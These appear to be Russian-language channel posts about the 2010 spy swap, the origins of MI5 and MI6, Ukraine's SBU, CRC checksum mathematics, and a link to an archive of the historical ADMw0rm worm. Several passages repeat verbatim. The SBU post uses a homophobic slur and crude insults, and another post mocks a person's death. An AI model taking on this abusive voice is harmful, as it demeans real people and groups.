Рассматривался даже вариант прямым текстом сказать Медведеву, что эти штучки времен холодной войны пора прекращать. Но в отличии от "вагнеровцев", в итоге решили ничего не говорить, а шпионов арестовать. В качестве уступки, администрация Обамы попросила контриков подождать, пока наследник медвежонок сядет в самолет, и после арестов сами же попытались преуменьшить значимость операции. В самой РФ тема зашла на ура и, к примеру Глеб Павловский, говорил что поменяли "сертифицированных разведчиков на группу клоунов" https://bbc.in/3sokSpo
Клоуны, как же! На подготовку и работу с нелегалами, которые успешно выдают себя за американцев в Америке КГБ/СВР потратили десятилетия и миллионы долларов. Рухнула берлинская стена, Таманская и Кантемировская дивизии заезжали в Москву, танки хуярили по парламенту, первая чеченская, кто-то носил туда-сюда коробки из под ксерокса и голосовал, чтобы не проиграть, расширялось НАТО (на эту тему свеженькая "Not one inch" https://bit.ly/3J2AbtQ), а эти люди продолжали шпионить, как сукины дети.
Одним словом, чтобы не портить "reset" с Россией их быстро поменяли. На Сутягина, пару офицеров КГБ, работавших на ЦРУ и Скрипаля (того самого, которого россияне отравят в Солсбери). На описании того, как Путин вместе со своими шпионами поют хором в Кремле "С чего начинается родина..." я бы с удовольствием посмеялся, но вспомнил о том, что у нас Служба безпеки чуть менее, чем полностью состоит из неадекватных долбоебов, жадных пидорасов и российской агентуры под руководством клоунов, и стало как-то не смешно...
Чтобы отвлечься от шпионских страстей пролистал "Real-World Cryptography" Девида Вонга https://bit.ly/3svUXfP Многообещающе выглядит "No Shortcuts" Макса Смитса, о том как различные государства строят "кибервойска", но она еще не вышла, так что буду рад, если посоветуете, что-нибудь еще.
"Печальная правда заключается в том, что в последние годы нерадивая военная администрация позволила шпионажу и коварной пропаганде пустить корни настолько глубоко, что сегодня власти оказались бессильны искоренить их пагубный рост". Вильям Ле Кью не занимал постов в либеральном правительстве Генри Асквита, он писал популярные романы о шпионах, и добился такого градуса общественной паранойи, что шпионы ̶Ф̶С̶Б̶ Кайзера мерещились под каждым кустом.
Так что в 1909 году собрался Комитет Имперской Безопасности (что-то вроде СНБО), и они пришли к выводу о том, что "представленные свидетельства" (в основном подчерпнутые в фантастических историях Ле Кью из Daily Mail и не менее упоротых писем неравнодушных граждан) "не оставляют сомнений в том, что разветвленная система немецкого шпионажа действует в нашей стране и у нас нет организации, чтобы следить за ней и понимать её цели", так и появилось Секретное Бюро в военном министерстве.
В начале Бюро состояло всего из двух человек Келла и Каммингса. Два капитана никак не могли договориться между собой, и они решили разделить обязанности - Каммингс занялся разведкой, а Келл контрразведкой. Так и появились MI5 и MI6.
Сэр Келл гонялся за ̶л̶а̶й̶к̶а̶м̶и̶ ̶и̶ ̶р̶е̶п̶о̶с̶т̶а̶м̶и̶ фикцией. Пока он со своими немногочисленными помощниками искал несуществующих шпионов из Abteilung III b (военная разведка, спецслужбы неизбежно порождают развитую бюрократию, и та же MI5 тогда называлась Military Operations 5(g) Nachrichten-Abteilung - разведка ВМС шпионили как последние сукины дети. Но ему однажды необыкновенно повезло. Любимый шпион Кайзера Густав Стейнхауер не придумал ничего лучше, чем вербовать агентов по переписке.
Келл случайно услышал, как двое немецких беизнесменов обсуждают письмо, в котором Стейнхауер напоминал соотечественникам о том, что Хохзеефлоту нужно помогать. После чего британская контрразведка выпросила у министра внутренних дел Черчиля ордера по спискам, завели себе ̶М̶и̶р̶о̶т̶в̶о̶р̶е̶ц̶ картотеку, и взялись потрошить почту. Уже в августе 1914, через несколько дней после начала войны, агентство состоящее из семнадцати человек смогло арестовать более двадцати настоящих немецких шпионов. Кайзер Вильгельм был в бешенстве.
Но вернемся в наше время, на днях любимая Моника президента Ермака посетила коллегию Служба Брелков, которой как раз исполняется тридцать лет. За это время конечно произошли колоссальные изменения. Так отдельные шпионоловы перешли от традиционного вымогательства к грабежам, зампреды устраивают друг на друга покушения, а предатели тащат все до чего дотягиваются руки. Но говнокоандующий ставит им новые задачи.
Во-первых, защитить наивеличайшего лидера современности (и Ермака) от злобно настроенных граждан, а во-вторых, ж̶и̶в̶о̶т̶н̶о̶в̶о̶д̶с̶т̶в̶о̶ кибербезопасность. Баканов в ответ пообещал усилиться и верно служить имперскому совету. Контрразведка идет последним пунктом. Такие дела.
Так что в 1909 году собрался Комитет Имперской Безопасности (что-то вроде СНБО), и они пришли к выводу о том, что "представленные свидетельства" (в основном подчерпнутые в фантастических историях Ле Кью из Daily Mail и не менее упоротых писем неравнодушных граждан) "не оставляют сомнений в том, что разветвленная система немецкого шпионажа действует в нашей стране и у нас нет организации, чтобы следить за ней и понимать её цели", так и появилось Секретное Бюро в военном министерстве.
В начале Бюро состояло всего из двух человек Келла и Каммингса. Два капитана никак не могли договориться между собой, и они решили разделить обязанности - Каммингс занялся разведкой, а Келл контрразведкой. Так и появились MI5 и MI6.
Сэр Келл гонялся за ̶л̶а̶й̶к̶а̶м̶и̶ ̶и̶ ̶р̶е̶п̶о̶с̶т̶а̶м̶и̶ фикцией. Пока он со своими немногочисленными помощниками искал несуществующих шпионов из Abteilung III b (военная разведка, спецслужбы неизбежно порождают развитую бюрократию, и та же MI5 тогда называлась Military Operations 5(g) Nachrichten-Abteilung - разведка ВМС шпионили как последние сукины дети. Но ему однажды необыкновенно повезло. Любимый шпион Кайзера Густав Стейнхауер не придумал ничего лучше, чем вербовать агентов по переписке.
Келл случайно услышал, как двое немецких беизнесменов обсуждают письмо, в котором Стейнхауер напоминал соотечественникам о том, что Хохзеефлоту нужно помогать. После чего британская контрразведка выпросила у министра внутренних дел Черчиля ордера по спискам, завели себе ̶М̶и̶р̶о̶т̶в̶о̶р̶е̶ц̶ картотеку, и взялись потрошить почту. Уже в августе 1914, через несколько дней после начала войны, агентство состоящее из семнадцати человек смогло арестовать более двадцати настоящих немецких шпионов. Кайзер Вильгельм был в бешенстве.
Но вернемся в наше время, на днях любимая Моника президента Ермака посетила коллегию Служба Брелков, которой как раз исполняется тридцать лет. За это время конечно произошли колоссальные изменения. Так отдельные шпионоловы перешли от традиционного вымогательства к грабежам, зампреды устраивают друг на друга покушения, а предатели тащат все до чего дотягиваются руки. Но говнокоандующий ставит им новые задачи.
Во-первых, защитить наивеличайшего лидера современности (и Ермака) от злобно настроенных граждан, а во-вторых, ж̶и̶в̶о̶т̶н̶о̶в̶о̶д̶с̶т̶в̶о̶ кибербезопасность. Баканов в ответ пообещал усилиться и верно служить имперскому совету. Контрразведка идет последним пунктом. Такие дела.
👍4
Сперва прохожие на Тверской услышали крики. Потом из окна вылетел нож и газовый балончик, а вслед за ножом серебряной пулей вылетел русский и очень голый националист Егор Просвирин и упокоился неуправляемой ракетой об асфальт. Не писать мне теперь для "Спутника и Погрома", какая жалость! На память осталась только эта открытка, не первая, надо вам сказать и, надеюсь, не последняя
Контрольные суммы окружают нас со всех сторон. Они используются везде, где могут появиться ошибки при передаче данных. Ethernet, мобильные телефоны, компакт-диски, кредитные карты, номера ISBN в книжках и налоговые номера.
Казалось бы, что может быть проще? Давайте сложим все байты между собой (как в первом издании Кернигана и Ричи)? Но если поменять два байта местами, то ошибка пройдет незамеченной. От перемены мест слагаемых сумма не меняется. Или будем не просто складывать, а еще домножать на константу, а затем возьмем остаток от деления на простое число, как djb2? Уже лучше, только умножать и делить - больно. Так появились циклические избыточные коды CRC, в которых нет ничего кроме сдвигов и ⊕ (XOR). Комрада Yonkie (автор хорошей книжки "Reverse Engineering for Beginners") заинтересовали именно они https://bit.ly/347IdSn Для начала, сколько у этой функции возможных значений?
Прежде, чем озадачивать компьютер брутфорсом (а 2^32 это уже не больно, но по-прежнему неприятно), я бы обратил внимание на то, что CRC не только линейна f(a ⊕ b) = f(a) ⊕ f(b), но и если представить ее в виде сдвигового регистра с линейной обратной связью (LFSR) в конфигурации Галуа, состоит из обратимых операций x ^= (x >> k), композиция обратимых функций тоже обратима, значит и для CRC есть обратная функций g, такая, что для любого x, g(f(x)) = x. С биекцией худо-бедно разобрались. Теперь посмотрим на сишную реализацию CRC:
c = (c ^ getbit()) & 1 ? (c >> 1) ^ 0xEDB88320 : c >> 1;
И возникает вопрос, что это за всратое число, и что будет если его поменять? Его почему-то называют многочленом. Так как мы имеем дело с нулями и единицами, то у нас есть поле F_2, которое предсказуемо состоит из нулей и единиц и исключающего ИЛИ в качестве сложения (1 + 1 = 0, 0 + 0 = 0, остальные комбинации дают 1). Мы можем записать все последовательности нулей и единиц длины n, к примеру для n = 3 их восемь: 000, 001, 010, 011, 100, 101, 110, 111.
Представим, что это не числа от нуля до семи, а коэфициенты многочлена 010: 0•x^0 + 1•x^1 + 0•x^2 = (x), или 110: 1•x^0 + 1•x^1 + 0•x^2, то есть (x + 1). Иксы нужны не для того, чтобы решать уравнения, а для того, чтобы показать, что коеффициенты находятся в разных позициях и не смешиваются между собой. Получилось кольцо многочленов F_2[X]. Со своими правилами. (x) можно умножить на (x + 1) и получится (x^2 + x), многочлен второй степени (потому что впереди двойка, или 011 в обратной двоичной записи).
Правила сложения и умножения не сильно сложнее привычной арифметики в Z и они нас не интересуют. Контрольная сумма CRC - остаток от деления сообщения представленного в виде многочлена. M•x^n = Q*P + R; M - сообщение, Q - частное, которое нам не нужно, R - контрольная сумма, P - генерирующий многочлен. На всякий случай получившаяся конструкция записывается, как F_2[X]/P. Суть в том, что CRC-n(M || CRC-n(M)) = 0, Потому, что M•x^n - R = Q*P ≡ 0 (mod P), то есть делится на P без остатка. 0xEDB88320 это - 1 + x + x^2 + x^4 + x^5 + x^7 + ... + x^32. Помимо эзернета так же используется в PNG, MPEG2 и много где еще.
У Yonkie возник вопрос, почему 0x80000000 работает, а 0x12345678 нет? Что будет, если сбросить старший бит? Мы убираем константу "+ 1" и значит, что у любого такого многочлена есть множитель x. Возьмем (x + x^2 + x^4 + x^5), выносим x за скобки: x•(1 + x + x^3 + x^4). Как это повлияет на контрольную сумму? У нас есть многочлен A без единицы и существует такое B (с единицей), что A = x•B. Степень B на единицу меньше, чем у A. Подставим в определение CRC. M•x^{n-1} = Q•B + R, и умножим на x: M•x^n = Q•B•x + R•x = Q•A + R•x, в случае с 32-битной контрольной суммой, если мы уберем единицу из многочлена, то получим 31-битную сумму сдвинутую на один разряд. А в случае 0x12345678, не на один. Это, если я не ошибаюсь, CRC-29
Казалось бы, что может быть проще? Давайте сложим все байты между собой (как в первом издании Кернигана и Ричи)? Но если поменять два байта местами, то ошибка пройдет незамеченной. От перемены мест слагаемых сумма не меняется. Или будем не просто складывать, а еще домножать на константу, а затем возьмем остаток от деления на простое число, как djb2? Уже лучше, только умножать и делить - больно. Так появились циклические избыточные коды CRC, в которых нет ничего кроме сдвигов и ⊕ (XOR). Комрада Yonkie (автор хорошей книжки "Reverse Engineering for Beginners") заинтересовали именно они https://bit.ly/347IdSn Для начала, сколько у этой функции возможных значений?
Прежде, чем озадачивать компьютер брутфорсом (а 2^32 это уже не больно, но по-прежнему неприятно), я бы обратил внимание на то, что CRC не только линейна f(a ⊕ b) = f(a) ⊕ f(b), но и если представить ее в виде сдвигового регистра с линейной обратной связью (LFSR) в конфигурации Галуа, состоит из обратимых операций x ^= (x >> k), композиция обратимых функций тоже обратима, значит и для CRC есть обратная функций g, такая, что для любого x, g(f(x)) = x. С биекцией худо-бедно разобрались. Теперь посмотрим на сишную реализацию CRC:
c = (c ^ getbit()) & 1 ? (c >> 1) ^ 0xEDB88320 : c >> 1;
И возникает вопрос, что это за всратое число, и что будет если его поменять? Его почему-то называют многочленом. Так как мы имеем дело с нулями и единицами, то у нас есть поле F_2, которое предсказуемо состоит из нулей и единиц и исключающего ИЛИ в качестве сложения (1 + 1 = 0, 0 + 0 = 0, остальные комбинации дают 1). Мы можем записать все последовательности нулей и единиц длины n, к примеру для n = 3 их восемь: 000, 001, 010, 011, 100, 101, 110, 111.
Представим, что это не числа от нуля до семи, а коэфициенты многочлена 010: 0•x^0 + 1•x^1 + 0•x^2 = (x), или 110: 1•x^0 + 1•x^1 + 0•x^2, то есть (x + 1). Иксы нужны не для того, чтобы решать уравнения, а для того, чтобы показать, что коеффициенты находятся в разных позициях и не смешиваются между собой. Получилось кольцо многочленов F_2[X]. Со своими правилами. (x) можно умножить на (x + 1) и получится (x^2 + x), многочлен второй степени (потому что впереди двойка, или 011 в обратной двоичной записи).
Правила сложения и умножения не сильно сложнее привычной арифметики в Z и они нас не интересуют. Контрольная сумма CRC - остаток от деления сообщения представленного в виде многочлена. M•x^n = Q*P + R; M - сообщение, Q - частное, которое нам не нужно, R - контрольная сумма, P - генерирующий многочлен. На всякий случай получившаяся конструкция записывается, как F_2[X]/P. Суть в том, что CRC-n(M || CRC-n(M)) = 0, Потому, что M•x^n - R = Q*P ≡ 0 (mod P), то есть делится на P без остатка. 0xEDB88320 это - 1 + x + x^2 + x^4 + x^5 + x^7 + ... + x^32. Помимо эзернета так же используется в PNG, MPEG2 и много где еще.
У Yonkie возник вопрос, почему 0x80000000 работает, а 0x12345678 нет? Что будет, если сбросить старший бит? Мы убираем константу "+ 1" и значит, что у любого такого многочлена есть множитель x. Возьмем (x + x^2 + x^4 + x^5), выносим x за скобки: x•(1 + x + x^3 + x^4). Как это повлияет на контрольную сумму? У нас есть многочлен A без единицы и существует такое B (с единицей), что A = x•B. Степень B на единицу меньше, чем у A. Подставим в определение CRC. M•x^{n-1} = Q•B + R, и умножим на x: M•x^n = Q•B•x + R•x = Q•A + R•x, в случае с 32-битной контрольной суммой, если мы уберем единицу из многочлена, то получим 31-битную сумму сдвинутую на один разряд. А в случае 0x12345678, не на один. Это, если я не ошибаюсь, CRC-29
👍2
Решил перечитать одну из немногих хороших книжек про хакеров, Полсена. Дочитал до того момента как Iceman потрошит AdmW0rm https://bit.ly/3pMT3Wi и тоже захотел посмотреть. Нашел https://bit.ly/3EQotPF (кстати, кто угадает, что произошло с архивом и как его распаковать?) Хорошие были времена, наивные. Не делайте так никогда.